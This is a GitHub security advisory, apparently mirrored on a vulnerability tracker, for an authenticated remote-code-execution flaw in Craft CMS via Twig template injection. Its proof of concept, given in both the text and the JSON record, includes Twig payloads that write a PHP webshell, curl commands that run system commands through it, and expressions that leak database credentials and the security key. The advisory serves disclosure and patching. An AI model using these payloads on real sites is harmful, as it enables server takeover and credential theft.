GHSA-V47Q-JXVR-P68X
Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28697"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:00:16Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities \u2192 System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle(\u0027hardDisk\u0027).write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle(\u0027images\u0027).fs.write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save \u0026 go to **Settings \u2192 Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
"id": "GHSA-v47q-jxvr-p68x",
"modified": "2026-03-04T18:39:01Z",
"published": "2026-03-03T21:00:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18216"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18219"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.